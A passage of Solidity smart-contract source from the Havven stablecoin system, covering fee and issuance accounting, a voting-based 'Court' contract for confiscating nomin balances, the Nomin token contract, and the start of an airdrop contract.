/* Sender receives a share of last period's collected fees proportional
* with their average fraction of the last period's issued nomins. */
feesOwed = safeDiv_dec(
safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected),
lastTotalIssued
);
}
hasWithdrawnFees[sender] = true;
if (feesOwed != 0) {
nomin.withdrawFees(sender, feesOwed);
}
emitFeesWithdrawn(messageSender, feesOwed);
}
/**
* @notice Update the havven balance averages since the last transfer
* or entitlement adjustment.
* @dev Since this updates the last transfer timestamp, if invoked
* consecutively, this function will do nothing after the first call.
* Also, this will adjust the total issuance at the same time.
*/
function updateIssuanceData(address account, uint preBalance, uint lastTotalSupply)
internal
{
/* update the total balances first */
totalIssuanceData = computeIssuanceData(lastTotalSupply, totalIssuanceData);
if (issuanceData[account].lastModified < feePeriodStartTime) {
hasWithdrawnFees[account] = false;
}
issuanceData[account] = computeIssuanceData(preBalance, issuanceData[account]);
}
/**
* @notice Compute the new IssuanceData on the old balance
*/
function computeIssuanceData(uint preBalance, IssuanceData preIssuance)
internal
view
returns (IssuanceData)
{
uint currentBalanceSum = preIssuance.currentBalanceSum;
uint lastAverageBalance = preIssuance.lastAverageBalance;
uint lastModified = preIssuance.lastModified;
if (lastModified < feePeriodStartTime) {
if (lastModified < lastFeePeriodStartTime) {
/* The balance was last updated before the previous fee period, so the average
* balance in this period is their pre-transfer balance. */
lastAverageBalance = preBalance;
} else {
/* The balance was last updated during the previous fee period. */
/* No overflow or zero denominator problems, since lastFeePeriodStartTime < feePeriodStartTime < lastModified.
* implies these quantities are strictly positive. */
uint timeUpToRollover = feePeriodStartTime - lastModified;
uint lastFeePeriodDuration = feePeriodStartTime - lastFeePeriodStartTime;
uint lastBalanceSum = safeAdd(currentBalanceSum, safeMul(preBalance, timeUpToRollover));
lastAverageBalance = lastBalanceSum / lastFeePeriodDuration;
}
/* Roll over to the next fee period. */
currentBalanceSum = safeMul(preBalance, now - feePeriodStartTime);
} else {
/* The balance was last updated during the current fee period. */
currentBalanceSum = safeAdd(
currentBalanceSum,
safeMul(preBalance, now - lastModified)
);
}
return IssuanceData(currentBalanceSum, lastAverageBalance, now);
}
/**
* @notice Recompute and return the given account's last average balance.
*/
function recomputeLastAverageBalance(address account)
external
returns (uint)
{
updateIssuanceData(account, nominsIssued[account], nomin.totalSupply());
return issuanceData[account].lastAverageBalance;
}
/**
* @notice Issue nomins against the sender's havvens.
* @dev Issuance is only allowed if the havven price isn't stale and the sender is an issuer.
*/
function issueNomins(uint amount)
public
optionalProxy
requireIssuer(messageSender)
/* No need to check if price is stale, as it is checked in issuableNomins. */
{
address sender = messageSender;
require(amount <= remainingIssuableNomins(sender));
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.issue(sender, amount);
nominsIssued[sender] = safeAdd(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function issueMaxNomins()
external
optionalProxy
{
issueNomins(remainingIssuableNomins(messageSender));
}
/**
* @notice Burn nomins to clear issued nomins/free havvens.
*/
function burnNomins(uint amount)
/* it doesn't matter if the price is stale or if the user is an issuer, as non-issuers have issued no nomins.*/
external
optionalProxy
{
address sender = messageSender;
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
/* nomin.burn does a safeSub on balance (so it will revert if there are not enough nomins). */
nomin.burn(sender, amount);
/* This safe sub ensures amount <= number issued */
nominsIssued[sender] = safeSub(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
/**
* @notice Check if the fee period has rolled over. If it has, set the new fee period start
* time, and record the fees collected in the nomin contract.
*/
function rolloverFeePeriodIfElapsed()
public
{
/* If the fee period has rolled over... */
if (now >= feePeriodStartTime + feePeriodDuration) {
lastFeesCollected = nomin.feePool();
lastFeePeriodStartTime = feePeriodStartTime;
feePeriodStartTime = now;
emitFeePeriodRollover(now);
}
}
/* ========== Issuance/Burning ========== */
/**
* @notice The maximum nomins an issuer can issue against their total havven quantity. This ignores any
* already issued nomins.
*/
function maxIssuableNomins(address issuer)
view
public
priceNotStale
returns (uint)
{
if (!isIssuer[issuer]) {
return 0;
}
if (escrow != HavvenEscrow(0)) {
uint totalOwnedHavvens = safeAdd(tokenState.balanceOf(issuer), escrow.balanceOf(issuer));
return safeMul_dec(HAVtoUSD(totalOwnedHavvens), issuanceRatio);
} else {
return safeMul_dec(HAVtoUSD(tokenState.balanceOf(issuer)), issuanceRatio);
}
}
/**
* @notice The remaining nomins an issuer can issue against their total havven quantity.
*/
function remainingIssuableNomins(address issuer)
view
public
returns (uint)
{
uint issued = nominsIssued[issuer];
uint max = maxIssuableNomins(issuer);
if (issued > max) {
return 0;
} else {
return safeSub(max, issued);
}
}
/**
* @notice The total havvens owned by this account, both escrowed and unescrowed,
* against which nomins can be issued.
* This includes those already being used as collateral (locked), and those
* available for further issuance (unlocked).
*/
function collateral(address account)
public
view
returns (uint)
{
uint bal = tokenState.balanceOf(account);
if (escrow != address(0)) {
bal = safeAdd(bal, escrow.balanceOf(account));
}
return bal;
}
/**
* @notice The collateral that would be locked by issuance, which can exceed the account's actual collateral.
*/
function issuanceDraft(address account)
public
view
returns (uint)
{
uint issued = nominsIssued[account];
if (issued == 0) {
return 0;
}
return USDtoHAV(safeDiv_dec(issued, issuanceRatio));
}
/**
* @notice Collateral that has been locked due to issuance, and cannot be
* transferred to other addresses. This is capped at the account's total collateral.
*/
function lockedCollateral(address account)
public
view
returns (uint)
{
uint debt = issuanceDraft(account);
uint collat = collateral(account);
if (debt > collat) {
return collat;
}
return debt;
}
/**
* @notice Collateral that is not locked and available for issuance.
*/
function unlockedCollateral(address account)
public
view
returns (uint)
{
uint locked = lockedCollateral(account);
uint collat = collateral(account);
return safeSub(collat, locked);
}
/**
* @notice The number of havvens that are free to be transferred by an account.
* @dev If they have enough available Havvens, it could be that
* their havvens are escrowed, however the transfer would then
* fail. This means that escrowed havvens are locked first,
* and then the actual transferable ones.
*/
function transferableHavvens(address account)
public
view
returns (uint)
{
uint draft = issuanceDraft(account);
uint collat = collateral(account);
// In the case where the issuanceDraft exceeds the collateral, nothing is free
if (draft > collat) {
return 0;
}
uint bal = balanceOf(account);
// In the case where the draft exceeds the escrow, but not the whole collateral
// return the fraction of the balance that remains free
if (draft > safeSub(collat, bal)) {
return safeSub(collat, draft);
}
// In the case where the draft doesn't exceed the escrow, return the entire balance
return bal;
}
/**
* @notice The value in USD for a given amount of HAV
*/
function HAVtoUSD(uint hav_dec)
public
view
priceNotStale
returns (uint)
{
return safeMul_dec(hav_dec, price);
}
/**
* @notice The value in HAV for a given amount of USD
*/
function USDtoHAV(uint usd_dec)
public
view
priceNotStale
returns (uint)
{
return safeDiv_dec(usd_dec, price);
}
/**
* @notice Access point for the oracle to update the price of havvens.
*/
function updatePrice(uint newPrice, uint timeSent)
external
onlyOracle /* Should be callable only by the oracle. */
{
/* Must be the most recently sent price, but not too far in the future.
* (so we can't lock ourselves out of updating the oracle for longer than this) */
require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT);
price = newPrice;
lastPriceUpdateTime = timeSent;
emitPriceUpdated(newPrice, timeSent);
/* Check the fee period rollover within this as the price should be pushed every 15min. */
rolloverFeePeriodIfElapsed();
}
/**
* @notice Check if the price of havvens hasn't been updated for longer than the stale period.
*/
function priceIsStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
/* ========== MODIFIERS ========== */
modifier requireIssuer(address account)
{
require(isIssuer[account]);
_;
}
modifier onlyOracle
{
require(msg.sender == oracle);
_;
}
modifier priceNotStale
{
require(!priceIsStale());
_;
}
/* ========== EVENTS ========== */
event PriceUpdated(uint newPrice, uint timestamp);
bytes32 constant PRICEUPDATED_SIG = keccak256("PriceUpdated(uint256,uint256)");
function emitPriceUpdated(uint newPrice, uint timestamp) internal {
proxy._emit(abi.encode(newPrice, timestamp), 1, PRICEUPDATED_SIG, 0, 0, 0);
}
event IssuanceRatioUpdated(uint newRatio);
bytes32 constant ISSUANCERATIOUPDATED_SIG = keccak256("IssuanceRatioUpdated(uint256)");
function emitIssuanceRatioUpdated(uint newRatio) internal {
proxy._emit(abi.encode(newRatio), 1, ISSUANCERATIOUPDATED_SIG, 0, 0, 0);
}
event FeePeriodRollover(uint timestamp);
bytes32 constant FEEPERIODROLLOVER_SIG = keccak256("FeePeriodRollover(uint256)");
function emitFeePeriodRollover(uint timestamp) internal {
proxy._emit(abi.encode(timestamp), 1, FEEPERIODROLLOVER_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint duration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint duration) internal {
proxy._emit(abi.encode(duration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event OracleUpdated(address newOracle);
bytes32 constant ORACLEUPDATED_SIG = keccak256("OracleUpdated(address)");
function emitOracleUpdated(address newOracle) internal {
proxy._emit(abi.encode(newOracle), 1, ORACLEUPDATED_SIG, 0, 0, 0);
}
event NominUpdated(address newNomin);
bytes32 constant NOMINUPDATED_SIG = keccak256("NominUpdated(address)");
function emitNominUpdated(address newNomin) internal {
proxy._emit(abi.encode(newNomin), 1, NOMINUPDATED_SIG, 0, 0, 0);
}
event EscrowUpdated(address newEscrow);
bytes32 constant ESCROWUPDATED_SIG = keccak256("EscrowUpdated(address)");
function emitEscrowUpdated(address newEscrow) internal {
proxy._emit(abi.encode(newEscrow), 1, ESCROWUPDATED_SIG, 0, 0, 0);
}
event IssuersUpdated(address indexed account, bool indexed value);
bytes32 constant ISSUERSUPDATED_SIG = keccak256("IssuersUpdated(address,bool)");
function emitIssuersUpdated(address account, bool value) internal {
proxy._emit(abi.encode(), 3, ISSUERSUPDATED_SIG, bytes32(account), bytes32(value ? 1 : 0), 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Court.sol
version: 1.2
author: Anton Jurisevic
Mike Spain
Dominic Romanowski
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This provides the nomin contract with a confiscation
facility, if enough havven owners vote to confiscate a target
account's nomins.
This is designed to provide a mechanism to respond to abusive
contracts such as nomin wrappers, which would allow users to
trade wrapped nomins without accruing fees on those transactions.
In order to prevent tyranny, an account may only be frozen if
users controlling at least 30% of the value of havvens participate,
and a two thirds majority is attained in that vote.
In order to prevent tyranny of the majority or mob justice,
confiscation motions are only approved if the havven foundation
approves the result.
This latter requirement may be lifted in future versions.
The foundation, or any user with a sufficient havven balance may
bring a confiscation motion.
A motion lasts for a default period of one week, with a further
confirmation period in which the foundation approves the result.
The latter period may conclude early upon the foundation's decision
to either veto or approve the mooted confiscation motion.
If the confirmation period elapses without the foundation making
a decision, the motion fails.
The weight of a havven holder's vote is determined by examining
their average balance over the last completed fee period prior to
the beginning of a given motion.
Thus, since a fee period can roll over in the middle of a motion,
we must also track a user's average balance of the last two periods.
This system is designed such that it cannot be attacked by users
transferring funds between themselves, while also not requiring them
to lock their havvens for the duration of the vote. This is possible
since any transfer that increases the average balance in one account
will be reflected by an equivalent reduction in the voting weight in
the other.
At present a user may cast a vote only for one motion at a time,
but may cancel their vote at any time except during the confirmation period,
when the vote tallies must remain static until the matter has been settled.
A motion to confiscate the balance of a given address composes
a state machine built of the following states:
Waiting:
- A user with standing brings a motion:
If the target address is not frozen;
initialise vote tallies to 0;
transition to the Voting state.
- An account cancels a previous residual vote:
remain in the Waiting state.
Voting:
- The foundation vetoes the in-progress motion:
transition to the Waiting state.
- The voting period elapses:
transition to the Confirmation state.
- An account votes (for or against the motion):
its weight is added to the appropriate tally;
remain in the Voting state.
- An account cancels its previous vote:
its weight is deducted from the appropriate tally (if any);
remain in the Voting state.
Confirmation:
- The foundation vetoes the completed motion:
transition to the Waiting state.
- The foundation approves confiscation of the target account:
freeze the target account, transfer its nomin balance to the fee pool;
transition to the Waiting state.
- The confirmation period elapses:
transition to the Waiting state.
User votes are not automatically cancelled upon the conclusion of a motion.
Therefore, after a motion comes to a conclusion, if a user wishes to vote
in another motion, they must manually cancel their vote in order to do so.
This procedure is designed to be relatively simple.
There are some things that can be added to enhance the functionality
at the expense of simplicity and efficiency:
- Democratic unfreezing of nomin accounts (induces multiple categories of vote)
- Configurable per-vote durations;
- Vote standing denominated in a fiat quantity rather than a quantity of havvens;
- Confiscate from multiple addresses in a single vote;
We might consider updating the contract with any of these features at a later date if necessary.
-----------------------------------------------------------------
*/
/**
* @title A court contract allowing a democratic mechanism to dissuade token wrappers.
*/
contract Court is SafeDecimalMath, Owned {
/* ========== STATE VARIABLES ========== */
/* The addresses of the token contracts this confiscation court interacts with. */
Havven public havven;
Nomin public nomin;
/* The minimum issued nomin balance required to be considered to have
* standing to begin confiscation proceedings. */
uint public minStandingBalance = 100 * UNIT;
/* The voting period lasts for this duration,
* and if set, must fall within the given bounds. */
uint public votingPeriod = 1 weeks;
uint constant MIN_VOTING_PERIOD = 3 days;
uint constant MAX_VOTING_PERIOD = 4 weeks;
/* Duration of the period during which the foundation may confirm
* or veto a motion that has concluded.
* If set, the confirmation duration must fall within the given bounds. */
uint public confirmationPeriod = 1 weeks;
uint constant MIN_CONFIRMATION_PERIOD = 1 days;
uint constant MAX_CONFIRMATION_PERIOD = 2 weeks;
/* No fewer than this fraction of total available voting power must
* participate in a motion in order for a quorum to be reached.
* The participation fraction required may be set no lower than 10%.
* As a fraction, it is expressed in terms of UNIT, not as an absolute quantity. */
uint public requiredParticipation = 3 * UNIT / 10;
uint constant MIN_REQUIRED_PARTICIPATION = UNIT / 10;
/* At least this fraction of participating votes must be in favour of
* confiscation for the motion to pass.
* The required majority may be no lower than 50%.
* As a fraction, it is expressed in terms of UNIT, not as an absolute quantity. */
uint public requiredMajority = (2 * UNIT) / 3;
uint constant MIN_REQUIRED_MAJORITY = UNIT / 2;
/* The next ID to use for opening a motion.
* The 0 motion ID corresponds to no motion,
* and is used as a null value for later comparison. */
uint nextMotionID = 1;
/* Mapping from motion IDs to target addresses. */
mapping(uint => address) public motionTarget;
/* The ID a motion on an address is currently operating at.
* Zero if no such motion is running. */
mapping(address => uint) public targetMotionID;
/* The timestamp at which a motion began. This is used to determine
* whether a motion is: running, in the confirmation period,
* or has concluded.
* A motion runs from its start time t until (t + votingPeriod),
* and then the confirmation period terminates no later than
* (t + votingPeriod + confirmationPeriod). */
mapping(uint => uint) public motionStartTime;
/* The tallies for and against confiscation of a given balance.
* These are set to zero at the start of a motion, and also on conclusion,
* just to keep the state clean. */
mapping(uint => uint) public votesFor;
mapping(uint => uint) public votesAgainst;
/* The last average balance of a user at the time they voted
* in a particular motion.
* If we did not save this information then we would have to
* disallow transfers into an account lest it cancel a vote
* with greater weight than that with which it originally voted,
* and the fee period rolled over in between. */
// TODO: This may be unnecessary now that votes are forced to be
// within a fee period. Likely possible to delete this.
mapping(address => mapping(uint => uint)) voteWeight;
/* The possible vote types.
* Abstention: not participating in a motion; This is the default value.
* Yea: voting in favour of a motion.
* Nay: voting against a motion. */
enum Vote {Abstention, Yea, Nay}
/* A given account's vote in some confiscation motion.
* This requires the default value of the Vote enum to correspond to an abstention. */
mapping(address => mapping(uint => Vote)) public vote;
/* ========== CONSTRUCTOR ========== */
/**
* @dev Court Constructor.
*/
constructor(Havven _havven, Nomin _nomin, address _owner)
Owned(_owner)
public
{
havven = _havven;
nomin = _nomin;
}
/* ========== SETTERS ========== */
/**
* @notice Set the minimum required havven balance to have standing to bring a motion.
* @dev Only the contract owner may call this.
*/
function setMinStandingBalance(uint balance)
external
onlyOwner
{
/* No requirement on the standing threshold here;
* the foundation can set this value such that
* anyone or no one can actually start a motion. */
minStandingBalance = balance;
}
/**
* @notice Set the length of time a vote runs for.
* @dev Only the contract owner may call this. The proposed duration must fall
* within sensible bounds (3 days to 4 weeks), and must be no longer than a single fee period.
*/
function setVotingPeriod(uint duration)
external
onlyOwner
{
require(MIN_VOTING_PERIOD <= duration &&
duration <= MAX_VOTING_PERIOD);
/* Require that the voting period is no longer than a single fee period,
* So that a single vote can span at most two fee periods. */
require(duration <= havven.feePeriodDuration());
votingPeriod = duration;
}
/**
* @notice Set the confirmation period after a vote has concluded.
* @dev Only the contract owner may call this. The proposed duration must fall
* within sensible bounds (1 day to 2 weeks).
*/
function setConfirmationPeriod(uint duration)
external
onlyOwner
{
require(MIN_CONFIRMATION_PERIOD <= duration &&
duration <= MAX_CONFIRMATION_PERIOD);
confirmationPeriod = duration;
}
/**
* @notice Set the required fraction of all Havvens that need to be part of
* a vote for it to pass.
*/
function setRequiredParticipation(uint fraction)
external
onlyOwner
{
require(MIN_REQUIRED_PARTICIPATION <= fraction);
requiredParticipation = fraction;
}
/**
* @notice Set what portion of voting havvens need to be in the affirmative
* to allow it to pass.
*/
function setRequiredMajority(uint fraction)
external
onlyOwner
{
require(MIN_REQUIRED_MAJORITY <= fraction);
requiredMajority = fraction;
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice There is a motion in progress on the specified
* account, and votes are being accepted in that motion.
*/
function motionVoting(uint motionID)
public
view
returns (bool)
{
return motionStartTime[motionID] < now && now < motionStartTime[motionID] + votingPeriod;
}
/**
* @notice A vote on the target account has concluded, but the motion
* has not yet been approved, vetoed, or closed. */
function motionConfirming(uint motionID)
public
view
returns (bool)
{
/* These values are timestamps, they will not overflow
* as they can only ever be initialised to relatively small values.
*/
uint startTime = motionStartTime[motionID];
return startTime + votingPeriod <= now &&
now < startTime + votingPeriod + confirmationPeriod;
}
/**
* @notice A vote motion either not begun, or it has completely terminated.
*/
function motionWaiting(uint motionID)
public
view
returns (bool)
{
/* These values are timestamps, they will not overflow
* as they can only ever be initialised to relatively small values. */
return motionStartTime[motionID] + votingPeriod + confirmationPeriod <= now;
}
/**
* @notice If the motion was to terminate at this instant, it would pass.
* That is: there was sufficient participation and a sizeable enough majority.
*/
function motionPasses(uint motionID)
public
view
returns (bool)
{
uint yeas = votesFor[motionID];
uint nays = votesAgainst[motionID];
uint totalVotes = safeAdd(yeas, nays);
if (totalVotes == 0) {
return false;
}
uint participation = safeDiv_dec(totalVotes, havven.totalIssuanceLastAverageBalance());
uint fractionInFavour = safeDiv_dec(yeas, totalVotes);
/* We require the result to be strictly greater than the requirement
* to enforce a majority being "50% + 1", and so on. */
return participation > requiredParticipation &&
fractionInFavour > requiredMajority;
}
/**
* @notice Return if the specified account has voted on the specified motion
*/
function hasVoted(address account, uint motionID)
public
view
returns (bool)
{
return vote[account][motionID] != Vote.Abstention;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Begin a motion to confiscate the funds in a given nomin account.
* @dev Only the foundation, or accounts with sufficient havven balances
* may elect to start such a motion.
* @return Returns the ID of the motion that was begun.
*/
function beginMotion(address target)
external
returns (uint)
{
/* A confiscation motion must be mooted by someone with standing. */
require((havven.issuanceLastAverageBalance(msg.sender) >= minStandingBalance) ||
msg.sender == owner);
/* Require that the voting period is longer than a single fee period,
* So that a single vote can span at most two fee periods. */
require(votingPeriod <= havven.feePeriodDuration());
/* There must be no confiscation motion already running for this account. */
require(targetMotionID[target] == 0);
/* Disallow votes on accounts that are currently frozen. */
require(!nomin.frozen(target));
/* It is necessary to roll over the fee period if it has elapsed, or else
* the vote might be initialised having begun in the past. */
havven.rolloverFeePeriodIfElapsed();
uint motionID = nextMotionID++;
motionTarget[motionID] = target;
targetMotionID[target] = motionID;
/* Start the vote at the start of the next fee period */
uint startTime = havven.feePeriodStartTime() + havven.feePeriodDuration();
motionStartTime[motionID] = startTime;
emit MotionBegun(msg.sender, target, motionID, startTime);
return motionID;
}
/**
* @notice Shared vote setup function between voteFor and voteAgainst.
* @return Returns the voter's vote weight. */
function setupVote(uint motionID)
internal
returns (uint)
{
/* There must be an active vote for this target running.
* Vote totals must only change during the voting phase. */
require(motionVoting(motionID));
/* The voter must not have an active vote this motion. */
require(!hasVoted(msg.sender, motionID));
/* The voter may not cast votes on themselves. */
require(msg.sender != motionTarget[motionID]);
uint weight = havven.recomputeLastAverageBalance(msg.sender);
/* Users must have a nonzero voting weight to vote. */
require(weight > 0);
voteWeight[msg.sender][motionID] = weight;
return weight;
}
/**
* @notice The sender casts a vote in favour of confiscation of the
* target account's nomin balance.
*/
function voteFor(uint motionID)
external
{
uint weight = setupVote(motionID);
vote[msg.sender][motionID] = Vote.Yea;
votesFor[motionID] = safeAdd(votesFor[motionID], weight);
emit VotedFor(msg.sender, motionID, weight);
}
/**
* @notice The sender casts a vote against confiscation of the
* target account's nomin balance.
*/
function voteAgainst(uint motionID)
external
{
uint weight = setupVote(motionID);
vote[msg.sender][motionID] = Vote.Nay;
votesAgainst[motionID] = safeAdd(votesAgainst[motionID], weight);
emit VotedAgainst(msg.sender, motionID, weight);
}
/**
* @notice Cancel an existing vote by the sender on a motion
* to confiscate the target balance.
*/
function cancelVote(uint motionID)
external
{
/* An account may cancel its vote either before the confirmation phase
* when the motion is still open, or after the confirmation phase,
* when the motion has concluded.
* But the totals must not change during the confirmation phase itself. */
require(!motionConfirming(motionID));
Vote senderVote = vote[msg.sender][motionID];
/* If the sender has not voted then there is no need to update anything. */
require(senderVote != Vote.Abstention);
/* If we are not voting, there is no reason to update the vote totals. */
if (motionVoting(motionID)) {
if (senderVote == Vote.Yea) {
votesFor[motionID] = safeSub(votesFor[motionID], voteWeight[msg.sender][motionID]);
} else {
/* Since we already ensured that the vote is not an abstention,
* the only option remaining is Vote.Nay. */
votesAgainst[motionID] = safeSub(votesAgainst[motionID], voteWeight[msg.sender][motionID]);
}
/* A cancelled vote is only meaningful if a vote is running. */
emit VoteCancelled(msg.sender, motionID);
}
delete voteWeight[msg.sender][motionID];
delete vote[msg.sender][motionID];
}
/**
* @notice clear all data associated with a motionID for hygiene purposes.
*/
function _closeMotion(uint motionID)
internal
{
delete targetMotionID[motionTarget[motionID]];
delete motionTarget[motionID];
delete motionStartTime[motionID];
delete votesFor[motionID];
delete votesAgainst[motionID];
emit MotionClosed(motionID);
}
/**
* @notice If a motion has concluded, or if it lasted its full duration but not passed,
* then anyone may close it.
*/
function closeMotion(uint motionID)
external
{
require((motionConfirming(motionID) && !motionPasses(motionID)) || motionWaiting(motionID));
_closeMotion(motionID);
}
/**
* @notice The foundation may only confiscate a balance during the confirmation
* period after a motion has passed.
*/
function approveMotion(uint motionID)
external
onlyOwner
{
require(motionConfirming(motionID) && motionPasses(motionID));
address target = motionTarget[motionID];
nomin.freezeAndConfiscate(target);
_closeMotion(motionID);
emit MotionApproved(motionID);
}
/* @notice The foundation may veto a motion at any time. */
function vetoMotion(uint motionID)
external
onlyOwner
{
require(!motionWaiting(motionID));
_closeMotion(motionID);
emit MotionVetoed(motionID);
}
/* ========== EVENTS ========== */
event MotionBegun(address indexed initiator, address indexed target, uint indexed motionID, uint startTime);
event VotedFor(address indexed voter, uint indexed motionID, uint weight);
event VotedAgainst(address indexed voter, uint indexed motionID, uint weight);
event VoteCancelled(address indexed voter, uint indexed motionID);
event MotionClosed(uint indexed motionID);
event MotionVetoed(uint indexed motionID);
event MotionApproved(uint indexed motionID);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Nomin.sol
version: 1.2
author: Anton Jurisevic
Mike Spain
Dominic Romanowski
Kevin Brown
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Havven-backed nomin stablecoin contract.
This contract issues nomins, which are tokens worth 1 USD each.
Nomins are issuable by Havven holders who have to lock up some
value of their havvens to issue H * Cmax nomins. Where Cmax is
some value less than 1.
A configurable fee is charged on nomin transfers and deposited
into a common pot, which havven holders may withdraw from once
per fee period.
-----------------------------------------------------------------
*/
contract Nomin is FeeToken {
/* ========== STATE VARIABLES ========== */
// The address of the contract which manages confiscation votes.
Court public court;
Havven public havven;
// Accounts which have lost the privilege to transact in nomins.
mapping(address => bool) public frozen;
// Nomin transfers incur a 15 bp fee by default.
uint constant TRANSFER_FEE_RATE = 15 * UNIT / 10000;
string constant TOKEN_NAME = "Nomin USD";
string constant TOKEN_SYMBOL = "nUSD";
/* ========== CONSTRUCTOR ========== */
constructor(address _proxy, TokenState _tokenState, Havven _havven,
uint _totalSupply,
address _owner)
FeeToken(_proxy, _tokenState,
TOKEN_NAME, TOKEN_SYMBOL, _totalSupply,
TRANSFER_FEE_RATE,
_havven, // The havven contract is the fee authority.
_owner)
public
{
require(_proxy != 0 && address(_havven) != 0 && _owner != 0);
// It should not be possible to transfer to the fee pool directly (or confiscate its balance).
frozen[FEE_ADDRESS] = true;
havven = _havven;
}
/* ========== SETTERS ========== */
function setCourt(Court _court)
external
optionalProxy_onlyOwner
{
court = _court;
emitCourtUpdated(_court);
}
function setHavven(Havven _havven)
external
optionalProxy_onlyOwner
{
// havven should be set as the feeAuthority after calling this depending on
// havven's internal logic
havven = _havven;
setFeeAuthority(_havven);
emitHavvenUpdated(_havven);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/* Override ERC20 transfer function in order to check
* whether the recipient account is frozen. Note that there is
* no need to check whether the sender has a frozen account,
* since their funds have already been confiscated,
* and no new funds can be transferred to it.*/
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transfer_byProxy(messageSender, to, value);
}
/* Override ERC20 transferFrom function in order to check
* whether the recipient account is frozen. */
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferFrom_byProxy(messageSender, from, to, value);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferSenderPaysFee_byProxy(messageSender, to, value);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value);
}
/* If a confiscation court motion has passed and reached the confirmation
* state, the court may transfer the target account's balance to the fee pool
* and freeze its participation in further transactions. */
function freezeAndConfiscate(address target)
external
onlyCourt
{
// A motion must actually be underway.
uint motionID = court.targetMotionID(target);
require(motionID != 0);
// These checks are strictly unnecessary,
// since they are already checked in the court contract itself.
require(court.motionConfirming(motionID));
require(court.motionPasses(motionID));
require(!frozen[target]);
// Confiscate the balance in the account and freeze it.
uint balance = tokenState.balanceOf(target);
tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), balance));
tokenState.setBalanceOf(target, 0);
frozen[target] = true;
emitAccountFrozen(target, balance);
emitTransfer(target, FEE_ADDRESS, balance);
}
/* The owner may allow a previously-frozen contract to once
* again accept and transfer nomins. */
function unfreezeAccount(address target)
external
optionalProxy_onlyOwner
{
require(frozen[target] && target != FEE_ADDRESS);
frozen[target] = false;
emitAccountUnfrozen(target);
}
/* Allow havven to issue a certain number of
* nomins from an account. */
function issue(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), amount));
totalSupply = safeAdd(totalSupply, amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
/* Allow havven to burn a certain number of
* nomins from an account. */
function burn(address account, uint amount)
external
onlyHavven
{
tokenState.setBalanceOf(account, safeSub(tokenState.balanceOf(account), amount));
totalSupply = safeSub(totalSupply, amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
/* ========== MODIFIERS ========== */
modifier onlyHavven() {
require(Havven(msg.sender) == havven);
_;
}
modifier onlyCourt() {
require(Court(msg.sender) == court);
_;
}
/* ========== EVENTS ========== */
event CourtUpdated(address newCourt);
bytes32 constant COURTUPDATED_SIG = keccak256("CourtUpdated(address)");
function emitCourtUpdated(address newCourt) internal {
proxy._emit(abi.encode(newCourt), 1, COURTUPDATED_SIG, 0, 0, 0);
}
event HavvenUpdated(address newHavven);
bytes32 constant HAVVENUPDATED_SIG = keccak256("HavvenUpdated(address)");
function emitHavvenUpdated(address newHavven) internal {
proxy._emit(abi.encode(newHavven), 1, HAVVENUPDATED_SIG, 0, 0, 0);
}
event AccountFrozen(address indexed target, uint balance);
bytes32 constant ACCOUNTFROZEN_SIG = keccak256("AccountFrozen(address,uint256)");
function emitAccountFrozen(address target, uint balance) internal {
proxy._emit(abi.encode(balance), 2, ACCOUNTFROZEN_SIG, bytes32(target), 0, 0);
}
event AccountUnfrozen(address indexed target);
bytes32 constant ACCOUNTUNFROZEN_SIG = keccak256("AccountUnfrozen(address)");
function emitAccountUnfrozen(address target) internal {
proxy._emit(abi.encode(), 2, ACCOUNTUNFROZEN_SIG, bytes32(target), 0, 0);
}
event Issued(address indexed account, uint amount);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint amount);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint amount) internal {
proxy._emit(abi.encode(amount), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract NominAirdropper is Owned {
/* ========== CONSTRUCTOR ========== */
/**
* @dev Constructor
* @param _owner The owner of this contract.
*/
constructor (address _owner)
Owned(_owner)
{}
/**
* @notice Multisend airdrops tokens to an array of destinations.
* @dev The fee rate is in decimal format, with UNIT being the value of 100%.
*/
function multisend(address tokenAddress, address[] destinations, uint256[] values)
external
onlyOwner
{
